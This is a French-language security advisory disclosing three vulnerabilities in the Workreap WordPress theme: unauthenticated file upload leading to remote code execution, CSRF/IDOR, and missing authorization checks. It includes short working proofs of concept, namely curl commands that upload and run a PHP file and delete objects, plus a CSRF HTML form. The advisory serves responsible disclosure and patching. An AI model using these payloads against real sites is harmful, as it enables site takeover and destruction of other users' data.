Récemment, l’équipe Jetpack a découvert des fichiers infectés sur l’un des sites de nos clients hébergés et a rapidement retracé l’origine de l’infection jusqu’au thème Workreap d’Amentotech. Nous avons ouvert une enquête et découvert plusieurs points d’accès AJAX vulnérables dans le thème ; le plus grave était une vulnérabilité de téléversement non authentifiée et non validée, susceptible d’entraîner l’exécution de code à distance et la prise de contrôle complète du site.
Nous avons signalé les vulnérabilités à l’équipe d’Amentotech par l’intermédiaire du programme Envato Helpful Hacker, et celles-ci ont été rapidement corrigées. La version 2.2.2 du thème, qui corrige les vulnérabilités découvertes, est sortie le 29 juin 2021.
En bref
En raison de la gravité des vulnérabilités, nous recommandons vivement à tous les utilisateurs du thème Workreap de passer à la version 2.2.2 ou ultérieure dès que possible.
Téléchargez la mise à niveau depuis le site web du thème et installez-la manuellement, ou effectuez la mise à niveau automatiquement via l’extension de marché Envato.
Détails
Nom du thème : Workreap
URI du thème : http://amentotech.com/projects/wpworkreap
Auteur : Amentotech
URI de l’auteur : https://themeforest.net/user/amentotech/portfolio
Les vulnérabilités
En raison de la gravité des vulnérabilités, nous retarderons la publication de la preuve de concept et de l’analyse complète afin de laisser aux utilisateurs le temps d’effectuer la mise à niveau.
Téléversement non authentifié permettant l’exécution de code à distance
Versions concernées : < 2.2.2
ID CVE : CVE-2021-24499
CVSSv3.1 : 10.0
CWE : CWE-284, CWE-641,
CWSS : 90.7
Lien WPScan : https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
Les actions AJAX workreap_award_temp_file_uploader et workreap_temp_file_uploader n’effectuaient pas de vérification des nonces ni ne vérifiaient d’une autre manière que la requête provenait d’un utilisateur valide. Les points d’accès permettaient de téléverser des fichiers arbitraires dans le répertoire uploads/workreap-temp. Les fichiers téléversés n’étaient ni nettoyés ni validés, ce qui permettait à un visiteur non authentifié de téléverser du code exécutable, comme des scripts PHP.
Preuve de concept
% curl -F 'action=workreap_award_temp_file_uploader' -F award_img=@malicious.php 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}
% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!
Plusieurs vulnérabilités liées à CSRF et à l’IDOR
Versions concernées : < 2.2.2
ID CVE : CVE-2021-24500
CVSSv3.1 : 8.2
CWE : CWE-283, CWE-284, CWE-862
CWSS : 78.3
Lien WPScan : https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56
Plusieurs actions AJAX disponibles dans le thème Workreap ne bénéficiaient pas de protections contre CSRF et permettaient également des références directes non sécurisées à des objets (IDOR) qui n’étaient pas validées. Cela permet à un attaquant d’inciter un utilisateur connecté à envoyer une requête POST au site vulnérable, ce qui peut entraîner la modification ou la suppression d’objets arbitraires sur le site cible.
Dans les versions antérieures à la version 2.0.0, ces actions ne comportaient aucune authentification et pouvaient être exploitées par n’importe quel visiteur du site.
Preuve de concept
<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
<input name="action" type="hidden" value="workreap_portfolio_remove">
<!-- note value does not have to be a portfolio, any post id will do -->
<input name="id" type="hidden" value="1361">
<input type="submit" value="Get rich!">
</form>
Vérifications d’autorisation manquantes dans les actions AJAX
Versions concernées : < 2.2.2
ID CVE : CVE-2021-24501
CVSSv3.1 : 7.1
CWE : CWE-283, CWE-862
CWSS : 68.5
Lien WPScan : https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e
Plusieurs actions AJAX disponibles dans le thème Workreap ne comportaient pas de vérifications d’autorisation permettant de s’assurer qu’un utilisateur était autorisé à effectuer des opérations critiques, comme la modification ou la suppression d’objets. Cela permettait à un utilisateur connecté de modifier ou de supprimer des objets appartenant à d’autres utilisateurs du site.
Dans les versions antérieures à la version 2.0.0, ces actions ne comportent aucune authentification et peuvent être exploitées par n’importe quel visiteur du site.
Preuve de concept
# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%
# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}
Chronologie
24/06/2021 : La vulnérabilité initiale de téléversement a été découverte par l’équipe Jetpack Scan et signalée au programme Envato Helpful Hacker.
25/06/2021 : D’autres vulnérabilités ont été découvertes et documentées ; Amentotech en a été informé par l’intermédiaire d’Envato.
27/06/2021 : La version 2.2.1 est sortie et a corrigé certaines vulnérabilités, mais pas toutes.
29/06/2021 : La version 2.2.2 est sortie et les correctifs ont été vérifiés par l’équipe Jetpack Scan.
Conclusion
Nous vous recommandons de vérifier la version actuelle du thème Workreap que vous utilisez sur votre site et, si elle est inférieure à la version 2.2.2, de la mettre à jour dès que possible !
Avec Jetpack, nous nous efforçons de veiller à ce que vos sites web soient protégés contre ces types de vulnérabilités. Pour garder une longueur d’avance sur toute nouvelle menace, consultez Jetpack Scan, qui comprend l’analyse de sécurité et la suppression automatique des logiciels malveillants.
Crédits
Chercheur d’origine : Harald Eilertsen
Merci au reste de l’équipe Jetpack Scan pour ses retours, son aide et ses corrections. Nous remercions également kailoon, du programme Envato Helpful Hacker, pour son aide afin de contacter Amentotech, ainsi qu’Amentotech pour sa réponse rapide, la correction des problèmes et la publication de la version mise à jour.



